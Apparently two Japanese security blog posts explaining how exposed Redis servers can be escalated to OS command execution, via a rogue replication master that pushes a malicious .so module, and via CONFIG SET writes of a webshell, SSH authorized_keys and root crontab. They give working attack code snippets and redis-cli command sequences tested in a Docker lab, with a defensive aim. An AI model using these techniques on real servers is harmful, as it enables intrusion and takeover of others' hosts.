SYNCの仕組みは単純なことが分かりました。実際にはもっと細かい処理を色々しているとは思いますが、メインは上の処理だと思います。また、SYNCだとレプリケーションの接続が途切れた後フル同期ですが、PSYNCは途中から再開可能です。

SlaveにRedisのコマンドを実行させる

上で説明したとおり、masterから送られてきたコマンドはslaveで実行されます。そのため、攻撃者がmasterを用意することで簡単に攻撃したいRedisでコマンドが実行可能です。今回はSSRFなどで元々Redisに対してコマンド発行可能なのであまり意味はないですが、試してみます。

ステップは発表資料にあるとおりですが、以下です。

  1. 攻撃対象のRedisに対して SLAVEOF を発行して、攻撃者の用意したmasterに繋がせる
  2. slaveからPINGが来たら +PONG を返す
  3. slaveからREPLCONFが来たら +OK を返す
  4. slaveからPSYNC or SYNCが来たら +CONTINUE <replid> 0 を返す
  5. コマンドを送るためにストリームは開きっぱなしになるので実行させたいコマンドを送る

これを実装したのがrogue.pyです。Redisのmasterサーバのように振る舞いつつ、最後のコマンド部分でkeyをsetしています(fooにbarbazをセットしている)。特に以下の部分を見ると分かるかと思います。

        if "PING" in data:
            resp = "+PONG" + CLRF
            phase = 1
        elif "REPLCONF" in data:
            resp = "+OK" + CLRF
            phase = 2
        elif "PSYNC" in data or "SYNC" in data:
            resp = "+CONTINUE 0 0" + CLRF
            resp = resp.encode()

            resp += self.payload("SET", "foo", "barbaz")
            phase = 3

https://github.com/knqyf263/redis-rogue-server/blob/master/rogue.py#L40-L51

ちなみに元々RCEを実行可能にするコードは既に公開されていたため、それを基に勉強用に変えたのが上記です。シンプルなプロトコルなので、試行錯誤しながらでしたがコードは30分ぐらいで書くことが出来ました。一度勉強で書いても面白いかもしれません。

GitHub - Dliv3/redis-rogue-server: Redis 4.x/5.x RCE

では試してみます。まず攻撃者側のrogueコンテナに入ってrogue.pyを6380番ポートで起動します(lportの指定)。

$ docker-compose exec rogue sh
/rogue/redis-rogue-server # python3 rogue.py --lport 6380
SERVER 0.0.0.0:6380

次に攻撃対象のRedisに入ります。今回は勉強のために自分でSLAVEOFを実行してみます(本当はSSRF経由などで攻撃者が実行する)。

$ docker-compose exec redis sh
/data # redis-cli
127.0.0.1:6379> keys *
(empty list or set)
127.0.0.1:6379> slaveof rogue 6380
127.0.0.1:6379> get foo
"barbaz"

最初はkeyが何もないのに、slaveofを打った後はfooが保存されています。pythonスクリプトで簡単にmasterのように振る舞いslaveにデータを保存できたということです。

SlaveにRedisのコマンドを実行させて結果を得る

今回はSSRFでRedisコマンドを打っている想定のためRedis内のデータを取得するのも簡単ではありません。上の方法でmasterからslaveに大してコマンドを打てるようになったため、getを打てばRedis内の全データを取得できるように見えます。

ですが、それは出来ません。

prepareClientToWriteというclientに対してデータを返すかどうか判別する関数があるのですが、以下のようにclientがmasterの場合にはデータを返さない処理が入っています。

int prepareClientToWrite(client *c) {

    ...

    /* Masters don't receive replies, unless CLIENT_MASTER_FORCE_REPLY flag
     * is set. */
    if ((c->flags & CLIENT_MASTER) &&
        !(c->flags & CLIENT_MASTER_FORCE_REPLY)) return C_ERR;

https://github.com/antirez/redis/blob/3f1c84751a7e665c8831475cd23be1e93285d032/src/networking.c#L225-L228

つまりmasterからslaveにSYNCのストリーム内でコマンドを発行しても結果は得られないということです。そこでどうするか発表者は考え、その上の行でOKを返す処理を見つけました。

int prepareClientToWrite(client *c) {
    /* If it's the Lua client we always return ok without installing any
     * handler since there is no socket at all. */
    if (c->flags & (CLIENT_LUA|CLIENT_MODULE)) return C_OK;

CLIENT_LUAはRedisのデバッグモードであれば有効になるらしいです。Luaデバッグのために使えるみたいですが、全く知りませんでした。

SCRIPT DEBUG – Redis

あとはストリーム内でデバッグを有効にしてあげれば結果が取得可能です。上の手順に続けて以下のような手順を行うと可能です。

  1. SCRIPT DEBUG YES をslaveに送る
  2. EVAL redis.breakpoint() 0 をslaveに送る
  3. 好きなコマンドを実行させて結果を得る

これを実装したのがrogue2.pyです。以下の辺りを見れば大体分かると思います。

        elif "PSYNC" in data or "SYNC" in data:
            resp = "+CONTINUE 0 0" + CLRF
            resp = resp.encode()

            resp += self.payload("SCRIPT", "DEBUG", "YES")
            resp += self.payload("EVAL", "redis.breakpoint()", "0")
            phase = 3
        elif "breakpoint" in data:
            resp = self.payload("r", "keys", "*")
            phase = 4

https://github.com/knqyf263/redis-rogue-server/blob/master/rogue2.py#L46-L55

ということで試してみます。

$ docker-compose exec rogue sh 
/rogue/redis-rogue-server # python3 rogue2.py --lport 6381
SERVER 0.0.0.0:6381

この状態で先程同様redisコンテナに入って slaveof rogue 6381を打ちます。

[->] ['*1', '$4', 'PING']
[<-] ['+PONG']
[->] ['*3', '$8', 'REPLCONF', '$14', 'listening-port', '$4', '6379']
[<-] ['+OK']
[->] ['*5', '$8', 'REPLCONF', '$4', 'capa', '$3', 'eof', '$4', 'capa', '$6', 'psync2']
[<-] ['+OK']
[->] ['*3', '$5', 'PSYNC', '$40', '2a43a6ba59e5e143171c24520ee3f9771bb542cc', '$1', '1']
[<-] ['+CONTINUE 0 0', '*3', '$6', 'SCRIPT', '$5', 'DEBUG', '$3', 'YES', '*3', '$4', 'EVAL', '$18', 'redis.breakpoint()', '$1', '0']
[->] ['*2', '+* Stopped at 1, stop reason = step over', '+-> 1   redis.breakpoint()']
[<-] ['*3', '$1', 'r', '$4', 'keys', '$1', '*']
[->] ['*2', '+<redis> keys *', '+<reply> ["foo"]']
[<-] ['']

すると無事replyが返ってきて、keyのfooが見えていることが分かります。

これでようやくSSRFでもRedis内のデータが抜けるようになりました。

OSコマンド実行

Redisから抜けてOSコマンドの実行を目指します。前の記事のようにCONFIG SETでやっても良いですが、不確実な部分もありますしコンテナではそもそも成立しない可能性があります。今回の方法ではそういった状況でも攻撃可能です。

ちなみにコンテナの場合のOSコマンド実行というのはコンテナ内のOSの話であって、コンテナをエスケープしてホスト側で実行可能ということではありません。それはまた別の脆弱性を組み合わせないと無理だと思います。

では攻撃の詳細に移ります。この方法では前述の2つとは異なりSYNC後のコマンドをメインの攻撃ターゲットとはしません。先程のレプリケーションの説明を見てみると重要なことが書いてありました。

マスターはデータベースファイルをスレーブに転送し、スレーブはそれをディスクに保存、およびメモリへロードします

先程telnetで試したように、masterから転送されたファイルがそのままslaveのディスクにファイルとして保存されます。

redisコンテナで正規のslaveofを試してみます。rogueサーバでもRedisは動かしているので普通にrogueの6379に繋ぎます。

$ docker-compose exec redis sh
/data # redis-cli
127.0.0.1:6379> slaveof rogue 6379
OK
127.0.0.1:6379> exit
/data # ls
dump.rdb
/data # cat dump.rdb
REDIS0009       redis-ver5.0.1
redis-bits@ctime)used-memhrepl-stream-dbrepl-id(65d2c3eccdf9c9ed2beea6763ac35d4c1bbc3e92
                                                                                        repl-offset
                                                                                                   aof-preamble?V/

上を見ると分かるように、dump.rdbというファイル名で保存されていることが分かります。中身もtelnetした時に見たデータと同じなので、masterから送られてきたデータそのままのようです。

ということは実はmasterからslaveに好きなファイルを書き込めるということです。このdump.rdbはCONFIG SETでファイル名やファイルパスを変更可能なので、好きな場所に好きな内容で書き込めます。以前のCONFIG SETとSAVEを使った方法では改行をうまく使って認識させていましたが、そんな方法を使わずとも気前よく完全なファイルを送り込めます。

しかし、ただ送り込むだけではやはりWebshellやcronなどの方法になってしまいます。そこで発表者が目をつけたのがRedis Moduleです。.soファイルを読み込むことでカスタムコマンドなどが使えるようになります。

redis.io

このドキュメントにもあるように、Redis起動後でもMODULEコマンドを使ってロード可能です。

MODULE LOAD /path/to/mymodule.so

つまり、.soファイルを送り込んでLOADさせれば攻撃者の好きなカスタムコマンドを定義させることが出来ます。そのカスタムコマンドは引数を受け取ってOSコマンドを実行するようなものにしておけばOSコマンドが実行できそうです。

調べたところ既にそういうものを作っている人がいました。

github.com

これをビルドして.soファイルにして送り込んだ後にLOADさせればOSコマンド実行可能です。そのための攻撃コードも既に公開されていました。

github.com

手順は以下です。

  1. exp.soを攻撃対象のRedisサーバのOSやアーキテクチャに合わせて事前にビルドしておく
  2. SLAVEOFを発行してmasterに繋がせる
  3. CONFIG SET dbfilename exp.so をslaveで発行させてデータベースファイルのファイル名を変更する
  4. 一度master/slaveのコネクションを張り直し、再度SYNC/PSYNCをslaveに発行させる
  5. +FULLRESYNC <Z*40> 1\r\n$<len>\r\n<payload> の形式でexp.soの中身をmasterからデータベースファイルとしてslaveに返す(exp.soにpayloadが保存される)
  6. MODULE LOAD ./exp.so をslaveで発行させモジュールをロードする
  7. system.exec "id" などのコマンドをRedisで発行させOSコマンドを実行する

繰り返しになりますがまとめておきます。masterからデータベースファイルとして.soファイルを返すとslaveに保存される。その.soファイルはOSコマンドを実行するような実装にしておく。MODULE LOAD を使って.soファイルをロードする。OSコマンド実行可能になる。という手順です。

あまり言葉で説明されても分からないかもしれないので、上のDockerイメージを使って試してみると良いと思います。Dockerfileを見れば手順も分かると思います。rogue3.pyを実行するだけで攻撃できるようにしてあります。

$ docker-compose rogue exec sh
/rogue/redis-rogue-server # python3 redis-rogue-server.py --rhost redis --rport 6379 --lhost rogue --lport 21000
...
[<<] touch /tmp/foo

redisコンテナの方を見るとfooファイルが作成されています。

$ docker-compose redis exec sh
/data # ls /tmp
foo

rogue3.pyファイルは短いので、何をしているのかを見るのも良いと思います。

まとめ

Redisのコマンド実行をOSコマンド実行まで昇華させる方法が発表されていたので紹介しました。Redisの脆弱性というわけでもないので、単に被害にあった時に影響範囲がRedisに閉じない可能性が高いという話になります。動作原理が理解できれば、うちのシステムの設定なら大丈夫、などの判断がつくようになります。一度試してみるのがオススメです。

RedisからOSコマンドを実行する攻撃方法(CONFIG SET編)

概要

Redisを間違ってインターネットに開放してしまっていた場合に、認証がなければ好きなRedisコマンドを実行されてしまいます。この場合に最大どの程度の被害になるのか、というのがセキュリティ界隈の人にも意外と知られていなかったので書いておきます。

Redisの実行ユーザによりますがrootなどで動いていて、他にいくつか緩い条件を満たせばOSの任意コマンドが実行可能です。

これは昔からある方法で有名なので攻撃する側からすると当然知っていて、侵入したら必ずと言っていいほど行うと思います。そのため、防御する側も知っておく必要があります。もしRedisの設定を間違ってanyから通信可能だった場合にホスト側にも侵入されたかも、というところを考慮できると良いと思って今回の記事は書いています。

自衛のためにも書いておきますが、悪用は禁止です。あくまで正しく脅威を把握するための啓蒙です。

参考

http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html

PoC

動かしてみたい人は以下で。

GitHub - knqyf263/redis-exploitation: CONFIG SET

詳細

RedisにはKey/Valueをファイルとして書き出す機能があります。さらに、書き出し先はRedisコマンドで変更可能なので実は任意の場所にデータを書き出すことが出来ます。

Redisに入ってCONFIG GETコマンドを叩くと現在のファイルパスが分かります。

$ redis-cli
127.0.0.1:6379> config get dir
1) "dir"
2) "/"
127.0.0.1:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"

これを自分の書き出したい場所に変更し、Valueに書き込みたい内容を書いておけば好きなファイルに好きな内容を書き込めるという話です。

Webshell

Redisのサーバ内でWebサーバとPHPが動いている場合は、 /var/www/html の下にPHPを書き込めばよいです。

つまり以下のような方法です。

127.0.0.1:6379> config set dir /var/www/html/
OK
127.0.0.1:6379> config set dbfilename redis.php
OK
127.0.0.1:6379> set test "<?php phpinfo(); ?>"
OK
127.0.0.1:6379> save
OK

今回はphpinfo()を出しているだけですが、GETのパラメータを受け取ってOSコマンドとして実行するなどのPHPを書けばWebshellとして利用可能です。ただし、Redisの実行ユーザが /var/www/html に書き込み権限を持っている必要があります。

また、このようにしてファイルに書き出すとRedisのバージョンだったりkeyだったりも入るため、目的のvalueの前後にゴミが入ります。

[root@34aa23154b29 /]# cat /var/www/html/redis.php
REDIS0007       redis-ver3.2.12
redis-bits@ctime'used-meme
                          test<?php phpinfo(); ?>(FاH

ですが、PHPは<?php ... ?>の部分を解釈するためゴミが入っていても問題なく動きます。このようにゴミが入っていても動くケースであれば今回の方法で攻撃可能です。ゴミを排除するのは恐らく不可能なため、この条件は重要です。

満たすべき条件は3つです。

  1. Webサーバが動いている
  2. WebサーバへのpublicディレクトリにRedis実行ユーザが書き込み権限を持っている
  3. ドキュメントルートのpathが予測できる(/var/www/htmlなど)

この条件を満たせればWebshellを置いておくことで外部からOSコマンドを実行可能になります。

SSH

実はSSHの公開鍵を置いておく ~/.ssh/authorized_keys も行単位で読み取るため、改行さえ前後に入れておけばゴミが入っていても動きます。

127.0.0.1:6379> set ssh "\n\nssh-rsa AAAAB3NzaC1yc...\n\n"
OK
127.0.0.1::6379> config set dir /home/knqyf263/.ssh/
OK
127.0.0.1::6379> config set dbfilename "authorized_keys"
OK
127.0.0.1::6379> save
OK

このような感じです。これもRedis実行ユーザが書き込み権限を持っておりsshdが動いていれば成立します。ネットワーク経路で何かしらの制限がされておりSSH出来ない場合などはもちろん影響を受けないです。

Crontab

最後はcrontabを使った方法です。/var/spool/cron/ の下にcronの設定を書き込んで自動でコマンドを実行させます。

[root@34ea33cb2eb2 /]# ls /var/spool/cron/
[root@34ea33cb2eb2 /]# redis-cli
127.0.0.1:6379> config set dir /var/spool/cron/
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> set payload "\n*/1 * * * * /bin/touch /tmp/foo\n"
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379>
[root@34ea33cb2eb2 /]# cat /var/spool/cron/root
REDIS0007       redis-ver3.2.12
redis-bits@ctime]&used-meme
                           payload!
*/1 * * * * /bin/touch /tmp/foo
5

crontabもゴミが入っていても行単位で解釈されるようです。ここではtouchコマンドを打っているだけですが、バックドアを落としてきて動かすことなども可能です。バックドアの場合は何かしらのポートが空いている必要がありますし、リバースシェル等の場合は外向き通信が空いている必要があります。Firewall等でその辺りがブロックされていたら影響はないかもしれません。

攻撃の実現性について

RHELCentOSなどで普通にRedisを入れた場合、きちんとredisユーザを作ってそちらのユーザで起動するように起動スクリプトを書かないとrootで起動してしまいます。ブログとかによってはrootで起動してたりする場合もありますし、Redisがrootなどの強いユーザで動いているなどの可能性は0ではないと思います(というか見たことがあります)。また、普通のサーバであればcronは動いていると思いますし、実行ユーザの条件さえ満たせれば成功する可能性は高いと考えています。きちんとユーザを分離するのは当たり前ですが大事ということですね。

また、多層防御しており何かしら他の制約があって攻撃が成立しない場合もあると思います。それは環境によって異なるため自組織に影響があるかをきちんと判断することが重要です。

ですが最近はコンテナでデプロイされるケースが増えており、コンテナ内では通常sshdもcronも動いてないですし(たまにcronが動いているコンテナもあるみたいですが)、RedisとWebサーバは別コンテナにするのが普通です。つまり、上記の方法ではホスト側に抜けるのは難しい状況です。

そういった状況でもOSコマンド実行できた、というのが最近発表されていたのでそちらについても後日解説したいと思います。

まとめ

Redisが誤ってインターネットに開放されてしまった場合に、Redis上のデータを好きに改変できるだけと考えるのと、ホストにまで侵入されているかも、と考えるかで対応が変わってきます。きちんとリスクを把握して正しい対応が出来るようになれば、ということで書いておきました。

関連記事

他の方法もあるので良ければ見てみて下さい。

knqyf263.hatenablog.com